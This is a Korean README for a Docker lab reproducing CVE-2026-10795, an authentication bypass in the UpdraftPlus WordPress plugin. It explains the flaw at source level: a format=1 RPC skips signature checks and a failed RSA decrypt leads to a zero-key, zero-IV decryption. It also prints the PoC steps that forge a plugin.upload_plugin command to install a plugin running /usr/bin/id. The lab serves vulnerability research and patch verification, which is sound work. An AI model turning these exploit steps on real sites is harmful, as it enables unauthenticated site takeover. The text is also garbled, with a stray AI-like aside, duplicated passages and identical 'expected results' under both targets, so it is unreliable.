
이 저장소는 UpdraftPlus WordPress 플러그인의 UpdraftCentral 원격 통신 계층에 영향을 미치는 인증되지 않은 인증 우회 취약점인 CVE-2026-10795를 재현하고 검증하기 위한 로컬 Docker 랩입니다.
취약한 동작은 UpdraftCentral RPC 메시지 처리 흐름에 존재합니다. 취약한 버전에서는 위조된 format=1 RPC 메시지가 서명 검증을 우회하고, 실패한 RSA 복호화 경로를 트리거한 후에도 예측 가능한 null 키/null IV 동작으로 대칭 복호화에 도달할 수 있습니다. 이를 통해 조작된 암호화 RPC 메시지가 UpdraftCentral 명령으로 수락되어 전달될 수 있습니다.
이 랩은 두 가지 UpdraftPlus 버전을 비교합니다:
| 서비스 | UpdraftPlus 버전 | 용도 | URL |
|---|---|---|---|
vuln | 1.26.4 | 취약한 비교 대상 | http://127.0.0.1:8081 |
patched | 1.26.5 | 패치된 비교 대상 | http://127.0.0.1:8082 |
시연되는 공격 체인은 다음과 같습니다:```text Unauthenticated attacker → forged UpdraftCentral RPC request → format=1 signature verification bypass → failed RSA decrypt not rejected in vulnerable version → predictable zero-key/zero-IV decrypt path → forged JSON RPC command accepted → privileged UpdraftCentral command dispatch → plugin.upload_plugin → install and activate marker plugin → hard-coded /usr/bin/id proof endpoint
주요 취약점은 인증 우회입니다. 이 랩은 권한 있는 UpdraftCentral 키 상태가 존재할 때 우회가 RCE 스타일의 영향으로 연결될 수 있음을 보여줍니다. UpdraftCentral은 WordPress 플러그인을 설치하고 활성화할 수 있는 합법적인 플러그인 관리 명령을 노출하기 때문입니다.
이는 직접적인 명령 주입 취약점이 아닙니다. 코드 실행 증명은 RPC 인증 경계를 우회한 후 인증된 플러그인 설치 기능을 남용하여 이루어집니다.
이 랩은 통제된 로컬 연구, 소스 수준 이해, 그리고 포트폴리오 시연 전용으로 설계되었습니다.
## 검증된 사실
| 주장 | 증거 | 이 랩에서 검증하는 방법 |
| ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ |
| 이 랩에서 UpdraftPlus 1.26.4는 취약합니다. | 취약한 서비스는 위조된 `format=1` RPC 메시지를 수락하고 `plugin.upload_plugin`을 디스패치합니다. | `python3 poc/poc.py --url http://127.0.0.1:8081`을 실행합니다. |
| 이 랩에서 UpdraftPlus 1.26.5는 위조된 메시지를 차단합니다. | 패치된 서비스는 RPC 응답 본문을 반환하지 않으며 위조된 명령을 디스패치하지 않습니다. | `python3 poc/poc.py --url http://127.0.0.1:8082`을 실행합니다. |
| 이 문제는 UpdraftCentral RPC 계층의 인증 우회입니다. | 위조된 인증되지 않은 RPC 요청은 취약한 버전에서 명령 디스패치에 도달할 수 있습니다. | 포트 `8081`과 `8082` 사이의 `--ping` 동작을 비교합니다. |
| 이 랩은 마커 플러그인을 사전 설치하지 않습니다. | 설정은 WordPress, UpdraftPlus 및 로컬 UpdraftCentral 키 상태만 설치합니다. | PoC를 실행하기 전에 `/wp-json/cve-lab/v1/id`를 확인합니다. |
| PoC는 위조된 RPC를 통해 마커 플러그인을 설치합니다. | PoC는 RPC 데이터 필드에 ZIP 플러그인 페이로드와 함께 `plugin.upload_plugin`을 보냅니다. | PoC를 실행한 다음 `/wp-json/cve-lab/v1/id`를 요청합니다. |
| 취약한 대상은 RCE 스타일의 영향에 도달합니다. | 마커 플러그인은 `/usr/bin/id` 출력을 반환하는 하드코딩된 엔드포인트를 노출합니다. | 취약한 대상은 `uid=33(www-data) gid=33(www-data)`를 반환합니다. |
| 패치된 대상은 마커 플러그인을 설치하지 않습니다. | 패치된 서비스에서 마커 엔드포인트는 `404 rest_no_route`를 반환합니다. | `http://127.0.0.1:8082`에 대해 PoC를 실행합니다. |
| 이 랩에는 UpdraftCentral 키 상태가 필요합니다. | UpdraftCentral 디스패치는 로컬 키 항목 및 관련 메타데이터에 의존합니다. | `scripts/setup-wordpress.sh`를 검토합니다. |
## 가정 및 미지의 사항
이 랩은 원격 제어가 구성된 사이트 상태를 재현하기 위해 의도적으로 로컬 UpdraftCentral 키 상태를 시드합니다.
시드된 키 상태는 랩 전제 조건이지 취약점 자체가 아닙니다. 이를 통해 랩은 취약한 RPC 파싱 및 복호화 경로를 일관되게 실행할 수 있습니다.
이 랩은 모든 UpdraftPlus 설치가 즉시 악용 가능하다고 주장하지 않습니다. 시연된 체인은 권한 있는 WordPress 사용자와 연결된 UpdraftCentral 로컬 키 항목의 존재에 의존합니다.
이 랩은 하드코딩된 `/usr/bin/id` 증명 엔드포인트를 노출하는 마커 플러그인을 설치하여 통제된 RCE 스타일의 영향을 시연합니다. 이는 일반적인 웹 셸, 임의 명령 실행 매개변수, 리버스 셸, 지속성 메커니즘, 자격 증명 탈취 또는 외부 콜백을 제공하지 않습니다.
PoC는 로컬 대상으로만 범위가 제한되며 기본적으로 비로컬 호스트 이름을 거부합니다.
## 근본 원인 요약
근본 원인은 취약한 버전의 UpdraftPlus에서 UpdraftCentral RPC 메시지에 대한 부적절한 검증입니다.
취약한 RPC 흐름은 `format=1` 메시지를 수락합니다. `format=1` 경로는 최신 메시지 형식과 동일한 서명 검증을 요구하지 않습니다.
전반적인 문제는 다음과 같습니다:```text
format=1 message
→ signature verification is bypassed
→ RSA decrypt of the symmetric key can fail
→ failed decrypt result is not rejected
→ false is passed into the symmetric cipher as a key
→ phpseclib normalizes this into a predictable null key path
→ attacker-controlled encrypted JSON can decrypt successfully
→ command is dispatched
취약한 동작에서 RSA 복호화는 다음을 반환할 수 있습니다:```text false
해당 실패한 복호화 결과를 거부하는 대신, 취약한 흐름은 계속 진행되어 그 값을 대칭 복호화 계층에 전달합니다.
실질적인 취약 패턴은 다음과 같습니다:```php
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
$decrypted = $rij->decrypt($ciphertext);
문제는 $sym_key가 사용되기 전에 검증되지 않는다는 점입니다.
$sym_key가 false일 때, 암호화 설정은 예측 가능한 null 키/null IV 동작을 따릅니다. 이로 인해 알려진 제로 키와 제로 IV를 사용해 암호화된 RPC 페이로드를 제작할 수 있게 됩니다.
패치된 버전은 대칭 키가 사용되기 전에 가드를 추가합니다:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }
이것은 신뢰 경계를 변경합니다.
패치 전:```text
failed RSA decrypt result could still reach symmetric decrypt
패치 후:```text failed RSA decrypt result is rejected before command dispatch
이것이 취약한 서비스는 위조된 RPC 명령을 전달하지만 패치된 서비스는 그렇지 않은 이유입니다.
## 인증 우회가 코드 실행으로 이어질 수 있는 이유
CVE-2026-10795는 근본적인 결함이 RPC 인증 및 메시지 검증 계층에 있기 때문에 인증 우회로 가장 잘 설명됩니다.
그러나 해당 인증 경계를 우회하면 공격자가 제어하는 RPC 메시지가 권한 있는 UpdraftCentral 명령에 도달할 수 있습니다.
중요한 명령 경로 중 하나는 다음과 같습니다:```text
plugin.upload_plugin
This command is part of UpdraftCentral’s plugin management functionality. It accepts a plugin ZIP payload, writes it to a temporary location, installs the plugin, and activates it when requested.
The impact chain is therefore:```text Authentication bypass → forged privileged RPC command → plugin upload through legitimate UpdraftCentral functionality → plugin installation → plugin activation → WordPress plugin code execution
이것은 명령 주입이 아닙니다.
랩은 단일 엔드포인트를 노출하는 마커 플러그인을 설치하여 코드 실행을 시연합니다:```text
/wp-json/cve-lab/v1/id
마커 플러그인은 명령 매개변수를 허용하지 않습니다. 다음만 실행합니다:```text /usr/bin/id
이렇게 하면 PoC를 통제된 상태로 유지하고 랩을 범용 웹 셸로 바꾸는 것을 피할 수 있습니다.
## 소스 패치 요약
관련 패치 동작은 패치된 버전이 RPC 메시지 본문을 복호화하려고 시도하기 전에 잘못된 대칭 키를 거부한다는 것입니다.
중요한 검증은 다음과 같습니다:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
이것은 실패한 RSA 복호화 결과가 예측 가능한 대칭 키 경로가 될 수 있는 취약한 폴백 동작을 방지합니다.
실질적인 결과는 다음과 같습니다:```text UpdraftPlus 1.26.4 → forged format=1 RPC message reaches command dispatch
UpdraftPlus 1.26.5 → failed symmetric key validation stops the forged message → command dispatch is not reached
이 랩은 또한 실제 UpdraftCentral 플러그인 업로드 명령 경로를 대상으로 하여 다운스트림 영향을 검증합니다.
관련 명령어 동작은 다음과 같습니다:```text
plugin.upload_plugin
→ base64 decode ZIP data
→ write temporary ZIP file
→ UpdraftCentral_Plugin_Upgrader->install()
→ activate_plugin()
패치된 버전은 이 명령 경로에 도달하기 전에 위조된 메시지를 차단합니다.
이 섹션에서는 소스 코드 수준에서 취약한 경로를 설명하고 각 PoC 단계를 관련 UpdraftPlus / UpdraftCentral 동작에 매핑합니다.
이 랩은 가짜 취약 애플리케이션 경로에 의존하지 않습니다. 취약한 동작은 실제 UpdraftCentral RPC 리스너와 실제 UpdraftCentral 플러그인 관리 명령 경로를 통해 도달합니다.
중요한 소스 영역은 다음과 같습니다:```text vendor/team-updraft/common-libs/src/updraft-rpc/class-udrpc2.php central/bootstrap.php central/listener.php central/commands.php central/modules/plugin.php
### 수신기 생성
취약한 RPC 경로는 WordPress가 다음을 포함하는 POST 요청을 수신할 때 시작됩니다:```text
udrpc_message
format
key_name
RPC 라이브러리는 해당 POST 필드가 존재할 때 WordPress wp_loaded에 리스너를 등록합니다.
개념적으로 흐름은 다음과 같습니다:```php if (!empty($_POST['udrpc_message']) && !empty($_POST['format'])) { add_action('wp_loaded', array($this, 'wp_loaded')); add_action('wp_loaded', array($this, 'wp_loaded_final'), 10000); }
이는 공격자가 특별한 REST 엔드포인트나 관리자 URL을 알 필요가 없음을 의미합니다. 위조된 RPC 요청은 WordPress 사이트 루트로 일반 POST 요청으로 전송됩니다.
PoC는 다음을 전송합니다:```text
POST /
format=1
key_name=0.central.updraftplus.com
udrpc_message=<crafted encrypted message>
요청은 합법적인 UpdraftCentral 원격 통신에 사용되는 동일한 리스너 경로에 도달합니다.
UpdraftCentral은 로컬 원격 제어 키를 WordPress 옵션에 저장합니다. 이 실습에서 설정 스크립트는 취약한 대상과 패치된 대상 모두에 대해 제어된 키 상태를 시드합니다.
관련 키 이름은 다음과 같습니다:```text 0.central.updraftplus.com
이 형식은 UpdraftCentral 핵심 지표 로직에 의해 생성됩니다:```php
private function indicator_name_from_index($index) {
return $index.'.central.updraftplus.com';
}
리스너는 암호화되지 않은 POST 필드가 예상 키 표시자와 일치하는 경우에만 계속됩니다.```php if (empty($_POST['key_name']) || $_POST['key_name'] != $this->key_name_indicator) { return; }
따라서 PoC는 다음을 설정한다:```python
KEY_NAME = "0.central.updraftplus.com"
이것은 취약점이 아닙니다. 테스트가 취약한 RPC 파싱 및 복호화 경로를 재현 가능한 방식으로 실행할 수 있게 해주는 실습 사전 요구사항입니다.
UpdraftCentral은 메시지 형식을 지원합니다. 중요한 차이점은 다음과 같습니다.```text format=1 legacy path format=2 signed message path
취약한 코드 경로에서 서명 검증은 포맷이 2 이상일 때만 수행됩니다:```php
if ($format >= 2) {
if (empty($_POST['signature'])) {
die;
}
if (!$this->key_remote) {
die;
}
if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
die;
}
}
PoC가 사용하기 때문에:```text format=1
이 서명 검증 블록은 건너뛴다.
이것이 인증 우회 경계이다.
정당한 `format=2` 메시지에는 유효한 서명이 포함될 것으로 예상된다. 위조된 `format=1` 메시지에는 서명이 필요 없으므로, 공격자가 제어하는 메시지는 복호화 경로로 계속 진행될 수 있다.
### 취약한 복호화 흐름
포맷 및 키 이름 검사 후, 리스너는 제출된 `udrpc_message`를 복호화한다.
UpdraftPlus 1.26.4의 취약한 복호화 흐름은 사실상 다음과 같다:```php
$rsa->loadKey($this->key_local);
$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);
버그는 이 두 작업 사이에 있습니다:```php $sym_key = $rsa->decrypt($sym_key); $rij->setKey($sym_key);
RSA 복호화가 실패하면 `$rsa->decrypt()`는 다음을 반환할 수 있습니다:```php
false
취약한 버전은 해당 값을 다음에 전달하기 전에 거부하지 않습니다:```php $rij->setKey($sym_key);
패치된 버전은 검증을 추가하여 이 문제를 수정합니다:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
이 가드는 보안 관련 패치입니다. RSA 복호화 실패 결과가 대칭 암호 설정에 도달하는 것을 방지합니다.
false가 예측 가능해지는 이유취약한 동작은 이 phpseclib 경로에서 setKey(false)가 안전하게 실패하지 않기 때문에 위험합니다.
암호 코드는 제공된 키에서 키 길이를 계산합니다:```php $this->setKeyLength(strlen($key) << 3); $this->key = $key;
When `$key`가 `false`일 때, `strlen(false)`는 길이가 0인 키의 경우처럼 동작합니다.
Rijndael 키 길이 논리는 매우 작은 키 크기를 유효한 최소 키 길이로 반올림합니다:```php
case $length <= 128:
$this->key_length = 16;
break;
그런 다음 암호 설정은 키와 IV를 널 바이트로 패딩합니다:```php $this->encryptIV = $this->decryptIV = str_pad(substr($this->iv, 0, $this->block_size), $this->block_size, "\0");
$this->key = str_pad(substr($this->key, 0, $this->key_length), $this->key_length, "\0");
따라서 공격자는 취약한 복호화 동작을 다음과 같이 모델링할 수 있습니다:```text
AES/Rijndael-CBC
key = 16 null bytes
iv = 16 null bytes
이것이 PoC가 JSON RPC 명령을 로컬에서 암호화하고 취약한 대상이 이를 성공적으로 복호화할 수 있는 이유입니다.
취약한 복호화 함수는 암호화된 메시지에 다음이 포함되기를 기대합니다:```text 3 hex chars length of RSA-encrypted symmetric key, as base64 text N chars base64 RSA-encrypted symmetric key 16 hex chars length of ciphertext, as base64 text M chars base64 encrypted message body
PoC는 이 구조를 수동으로 구축합니다:```python
bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
RSA 블록은 의도적으로 유효하지 않습니다:```python BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
UpdraftPlus 1.26.4에서 해당 잘못된 RSA 블록으로 인해 RSA 복호화가 실패하지만, 그 실패가 거부되지 않습니다.
UpdraftPlus 1.26.5에서는 새 보호 장치가 실패한 복호화 결과를 거부하므로 위조된 메시지가 명령 디스패치에 도달하지 못합니다.
### 내부 JSON RPC 메시지
암호화된 내부 메시지는 일반적인 UpdraftCentral 스타일 JSON 명령입니다.
ping 검증을 위해 PoC는 다음을 사용합니다:```json
{
"command": "ping",
"time": 1710000000,
"key_name": "0.central.updraftplus.com",
"rand": 123456
}
기본 ID 증명의 경우, PoC는 다음을 사용합니다:```json { "command": "plugin.upload_plugin", "time": 1710000000, "key_name": "0.central.updraftplus.com", "rand": 123456, "data": { "filename": "cve-2026-10795-id-marker.zip", "data": "", "activate": true } }
`key_name`은 암호화된 메시지의 외부와 내부 모두에 나타납니다. 리스너는 두 값이 일치하는지 확인합니다:```php
if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
die;
}
그렇기 때문에 PoC는 두 위치 모두에 동일한 키 이름을 포함해야 합니다.
메시지를 복호화한 후, 리스너는 이를 JSON으로 파싱합니다:```php $udrpc_message = json_decode($udrpc_message, true);
메시지에는 유효한 명령이 포함되어야 합니다:```php
if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
die;
}
또한 타임스탬프를 포함해야 합니다:```php if (empty($udrpc_message['time'])) { die; }
타임스탬프는 허용된 재생(replay) 창 내에 있어야 합니다:```php
$time_difference = absint($udrpc_message['time'] - time());
if ($time_difference > $this->maximum_replay_time_difference) {
die;
}
따라서 PoC는 내부 time 필드를 현재 시간으로 설정합니다.
메시지가 복호화되고 검증된 후, UpdraftCentral은 명령을 디스패치합니다.
명령은 접두사 형식을 사용합니다:```text .
예를 들어:```text
plugin.upload_plugin
이것은 다음과 같이 됩니다:```text prefix = plugin method = upload_plugin
리스너는 접두사에서 명령 클래스를 확인한 다음 메서드를 동적으로 호출합니다:```php
$msg = apply_filters(
'updraftcentral_listener_udrpc_action',
call_user_func(array($command_class, $command), $data, $extra_info),
$command_class,
$class_prefix,
$command,
$data,
$extra_info
);
PoC 명령어의 경우:```text plugin.upload_plugin
리스너가 호출합니다:```php
UpdraftCentral_Plugin_Commands::upload_plugin($data)
이것이 PoC에 직접적인 명령 주입 싱크가 필요하지 않은 이유입니다. RPC 인증 경계를 우회한 후 정당한 권한 있는 UpdraftCentral 명령에 도달합니다.
리스너는 UpdraftCentral 키 메타데이터에서 현재 WordPress 사용자를 설정할 수 있습니다:```php if (!empty($extra_info['user_id'])) { wp_set_current_user($extra_info['user_id']); }
이 랩에서 시드된 키에는 다음이 있습니다:```text
extra_info.user_id = 1
이는 WordPress 설치 중 생성된 관리자 사용자와 연결된 구성된 UpdraftCentral 키를 시뮬레이션합니다.
플러그인 업로드 경로가 WordPress 권한을 확인하기 때문에 이는 중요합니다:```php if (!current_user_can('install_plugins') || !current_user_can('activate_plugins')) { $permission_error = true; }
따라서 우회만으로도 위조된 명령이 RPC 계층에 전달됩니다. 시드된 키 메타데이터는 명령이 실행되는 WordPress 사용자 컨텍스트를 결정합니다.
이 랩에서는 키가 사용자 ID 1과 연결되어 있으므로 명령이 관리자 컨텍스트에서 실행됩니다.
### 플러그인 업로드 싱크
명령 메서드는 다음과 같습니다:```php
public function upload_plugin($params) {
return $this->process_chunk_upload($params, 'plugin');
}
공유 업로드 핸들러는 플러그인 업로드 데이터를 기대합니다:```text filename data activate
PoC는 다음을 전송합니다:```python
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
업로드 핸들러는 ZIP 콘텐츠를 임시 파일에 기록합니다:```php $result = file_put_contents( $upload_dir.'/'.$filename, base64_decode($params['data']), FILE_APPEND | LOCK_EX );
청크로 분할되지 않은 업로드의 경우, 설치는 즉시 진행됩니다:```php
$install_now = true;
그런 다음 핸들러는 ZIP 경로를 생성합니다:```php $zip_filepath = $upload_dir.'/'.$filename;
그리고 UpdraftCentral 플러그인 업그레이더를 사용하여 설치합니다:```php
$upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
$install_result = $upgrader->install($zip_filepath);
설치가 성공하고 activate가 true이면, 코드는 설치된 플러그인을 활성화합니다:```php
if ((bool) $params['activate'] && !$is_active) {
$activate = activate_plugin($data['slug']);
}
성공적인 설치 응답에는 다음이 포함됩니다:```php
return $this->_response(
array(
'installed' => true,
'installed_data' => $data,
)
);
이것은 위조된 RPC 인증 우회가 WordPress 플러그인 설치 및 활성화에 연쇄적으로 연결될 수 있는 소스 수준의 이유입니다.
마커 플러그인은 PoC에 의해 메모리에서 생성됩니다. Docker 설정에 의해 사전 설치되지 않습니다.
생성된 ZIP에는 다음이 포함됩니다:```text cve-2026-10795-id-marker/ └── cve-2026-10795-id-marker.php
마커 플러그인은 하나의 REST 라우트를 등록합니다:```text
/wp-json/cve-lab/v1/id
엔드포인트는 다음을 반환합니다:```text lab plugin proof uid gid user id_output
Marker 플러그인에 의해 실행되는 유일한 명령은 하드코딩되어 있습니다:```php
shell_exec('/usr/bin/id 2>&1');
사용자가 제어하는 cmd 매개변수는 없습니다.
이것은 의도적입니다. 이 랩은 일반적인 웹 셸을 피하면서 플러그인 코드 실행을 증명합니다.
패치된 서비스는 동일한 위조 요청을 수신하고 동일한 시드 키 상태를 갖습니다.
차이점은 패치된 복호화 가드입니다:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }
PoC가 의도적으로 유효하지 않은 RSA 블록을 제공하므로, 복호화된 대칭 키는 유효하지 않습니다.
UpdraftPlus 1.26.5에서는 위조된 메시지가 JSON 파싱 전과 명령 디스패치 전에 중지됩니다.
따라서:```text
plugin.upload_plugin is never called
marker plugin is never installed
/wp-json/cve-lab/v1/id returns 404 rest_no_route
This patched behavior proves that the lab result depends on the vulnerable UpdraftPlus RPC code path, not on the Docker harness.
PoC는 로컬이 아닌 타깃을 거부하는 것으로 시작합니다:```python allowed_hosts = {"127.0.0.1", "localhost", "::1"}
if host not in allowed_hosts: raise ValueError("Refusing non-local target")
이렇게 하면 스크립트 범위가 Docker 랩으로 한정됩니다.
PoC는 내부 RPC 메시지를 구성합니다:```python
inner = {
"command": command,
"time": int(time.time()),
"key_name": KEY_NAME,
"rand": random.randint(1, 2_147_483_647),
}
기본 ID 증명이 사용되는 경우, 명령은 다음과 같습니다:```python command = "plugin.upload_plugin"
그리고 데이터는:```python
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
그런 다음 PoC는 예측 가능한 취약한 암호 상태로 내부 JSON을 암호화합니다:```python ZERO_KEY = b"\x00" * 16 ZERO_IV = b"\x00" * 16
cipher = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV) ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
이는 대칭 암호 설정에 `false`를 전달할 때 발생하는 취약한 결과와 일치합니다.
PoC는 의도적으로 잘못된 RSA 블록을 사용합니다:```python
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
결과적인 udrpc_message는 RPC 복호화 함수가 기대하는 것과 동일한 길이-접두사 형식으로 빌드됩니다:```python
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
return f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
마지막으로, PoC는 위조된 RPC 요청을 보냅니다:```python
fields = {
"format": "1",
"key_name": KEY_NAME,
"udrpc_message": build_udrpc_message(command, data),
}
requests.post(target, data=fields, timeout=timeout)
취약한 대상에서 서버 응답에는 유효한 RPC 스타일 JSON 응답 본문이 포함됩니다. PoC는 이를 다음과 같이 취급합니다:```text RPC DISPATCHED
디스패치 후, PoC는 마커 엔드포인트를 요청하여 영향을 검증합니다:```text
GET /wp-json/cve-lab/v1/id
If the marker plugin was installed and activated, the endpoint returns:
마커 플러그인이 설치 및 활성화된 경우, 엔드포인트는 다음을 반환합니다:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)
이 출력은 위조된 인증되지 않은 RPC 메시지가 권한 있는 플러그인 설치 경로에 도달하여 로컬 랩 내부에서 공격자가 제공한 플러그인 코드를 활성화했음을 증명합니다.
## 랩이 증명하는 것
이 랩은 다음 기술 체인을 증명합니다:```text
1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
2. The forged message does not need a valid signature.
3. A failed RSA decrypt result is not rejected before symmetric decrypt.
4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
5. The JSON command reaches UpdraftCentral command dispatch.
6. The dispatched command can call plugin.upload_plugin.
7. plugin.upload_plugin can install and activate a ZIP plugin.
8. Activated plugin code runs in the web server context.
9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.
이 랩은 모든 설치 환경이 사전 요구 사항 없이 공격 가능하다는 것을 증명하지 않습니다.
이 데모에 필요한 전제 조건은 다음과 같습니다:```text an existing UpdraftCentral local key state associated with a privileged WordPress user
Docker 설정은 두 대상 모두에 해당 전제 조건을 생성하여 취약한 동작과 패치된 동작의 차이를 공정하게 테스트할 수 있게 합니다.
## 실습 아키텍처
이 실습은 Docker Compose를 통해 두 개의 격리된 WordPress 설치를 실행합니다.```text
.
├── docker-compose.yml
├── scripts/
│ └── setup-wordpress.sh
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── requirements.txt
├── README.md
└── .gitignore
두 WordPress 서비스는 별도의 데이터베이스와 별도의 UpdraftPlus 버전을 실행합니다:
기본 노출 서비스:```text Vulnerable target: http://127.0.0.1:8081 Patched target: http://127.0.0.1:8082
설정 프로세스는 동일한 UpdraftCentral 키 상태를 두 서비스 모두에 시드합니다:```text
key_name: 0.central.updraftplus.com
extra_info.user_id: 1
이로써 두 대상 모두 동일한 사전 조건 상태를 갖게 됩니다. 동작 차이는 서로 다른 실험실 설정이 아니라 취약한 UpdraftPlus 코드와 패치된 UpdraftPlus 코드에서 비롯됩니다.
requirements.txt에 나열된 Python 패키지Python 종속성:```text requests urllib3<2 pycryptodome
The `urllib3<2` 제약 조건은 일부 macOS Python 빌드에서 LibreSSL 관련 경고를 방지합니다.
## 빠른 시작
깨끗한 랩 상태에서 시작하세요:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
설정 로그 보기:```bash docker compose logs -f vuln_setup patched_setup
예상 설정 지표:```text
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.4
Setup complete for CVE-2026-10795 vuln
.
But I must not wrap in anything. So I'll just output nothing.```text Seeded UpdraftCentral key: 0.central.updraftplus.com Plugin updraftplus details: Status: Active Version: 1.26.5 Setup complete for CVE-2026-10795 patched
실행 중인 서비스 확인:```bash
docker compose ps
Python 가상 환경을 생성하고 활성화하세요:```bash python3 -m venv venv source venv/bin/activate pip install -r requirements.txt
취약한 대상에 대해 기본 ID proof를 실행합니다:```bash
python3 poc/poc.py --url http://127.0.0.1:8081
패치된 대상에 대해 동일한 proof를 실행하십시오:```bash python3 poc/poc.py --url http://127.0.0.1:8082
이 스크립트는 의도적으로 `--url` 옵션을 요구합니다. 이를 통해 테스터는 두 서비스를 자동으로 공격하는 대신 대상을 명시적으로 선택해야 합니다.
## PoC 사용법
기본 동작:```bash
python3 poc/poc.py --url <local_target_url>
취약한 대상 예시:```bash python3 poc/poc.py --url http://127.0.0.1:8081
패치된 대상 예시:```bash
python3 poc/poc.py --url http://127.0.0.1:8082
선택적 ping 전용 검증:```bash python3 poc/poc.py --ping --url http://127.0.0.1:8081 python3 poc/poc.py --ping --url http://127.0.0.1:8082
지원되는 옵션:
| Option | 필수 | 용도 |
| ----------- | -------- | ------------------------------------------------------- |
| `--url` | 예 | 로컬 랩 대상 URL |
| `--ping` | 아니요 | ID 증명 대신 무해한 위조 핑 검증 실행 |
| `--timeout` | 아니요 | HTTP 타임아웃(초). 기본값: `15` |
허용되는 대상 호스트:```text
127.0.0.1
localhost
::1
PoC는 기본적으로 비로컬 대상을 거부합니다.
PoC는 호스트 머신에서 실행되어 노출된 Docker 서비스에 HTTP 요청을 보냅니다.
기본 PoC 작업은 ID 증명입니다.
대략적인 흐름은 다음과 같습니다:```text
마커 플러그인은 저장소에 독립형 플러그인 파일로 저장되지 않습니다. 이 플러그인은 PoC에 의해 메모리에서 생성됩니다.
위조된 RPC 명령은 다음과 같습니다:```text
plugin.upload_plugin
RPC 데이터에는 다음이 포함됩니다:```text filename = cve-2026-10795-id-marker.zip data = base64(plugin_zip) activate = true
PoC는 내부 JSON RPC 메시지를 다음을 사용해 암호화합니다:```text
AES-CBC
key = 16 null bytes
iv = 16 null bytes
또한 의도적으로 유효하지 않은 RSA 암호화 대칭 키 블록을 포함합니다.
취약한 버전에서는 RSA 복호화 실패가 거부되지 않습니다. 메시지는 예측 가능한 null-key 복호화 경로로 계속 진행되며 위조된 명령이 디스패치됩니다.
패치된 버전에서는 유효하지 않은 대칭 키가 거부되고 위조된 명령은 디스패치되지 않습니다.
--ping이 존재하는 이유--ping 옵션은 디버깅 보조 도구입니다.
이 옵션은 암호화 우회 및 RPC 디스패치 경계만 검증합니다. 플러그인을 업로드하지 않으며 /usr/bin/id를 실행하지 않습니다.
기본 ID 증명이 작동하지 않고 실패를 격리해야 할 때 --ping을 사용하세요.
--ping이 실패하면 문제는 명령 실행 이전에 있을 가능성이 높습니다:```text
wrong key state
wrong key_name
message format issue
encryption mismatch
listener not active
patched behavior
`--ping`이 성공하지만 ID 증명이 실패한다면, 문제는 디스패치 이후에 있을 가능성이 큽니다:```text
plugin.upload_plugin data issue
ZIP plugin format issue
filesystem permission issue
plugin activation issue
REST endpoint registration issue
예상 ping 동작:```text 1.26.4 vulnerable target → PING DISPATCHED 1.26.5 patched target → PING NOT DISPATCHED
## Expected Results
### Vulnerable Target
Command:```bash
python3 poc/poc.py --url http://127.0.0.1:8081
Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).
### 패치된 대상
명령:```bash
python3 poc/poc.py --url http://127.0.0.1:8082
Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).
## 수동 검증 명령
서비스 상태 확인:```bash
docker compose ps
취약한 서비스 메타데이터 검사:```bash curl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool
패치된 서비스 메타데이터 검사:```bash
curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool
런타임 플러그인 상태 확인:```bash curl -s 'http://127.0.0.1:8081/cve-lab-inspector.php?runtime=1' | python3 -m json.tool curl -s 'http://127.0.0.1:8082/cve-lab-inspector.php?runtime=1' | python3 -m json.tool
Run ping-only validation:
핑(ping) 전용 검증 실행:```bash
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082
실행 ID 증명:```bash python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082
PoC 실행 직후 마커 엔드포인트를 확인하세요:```bash
curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
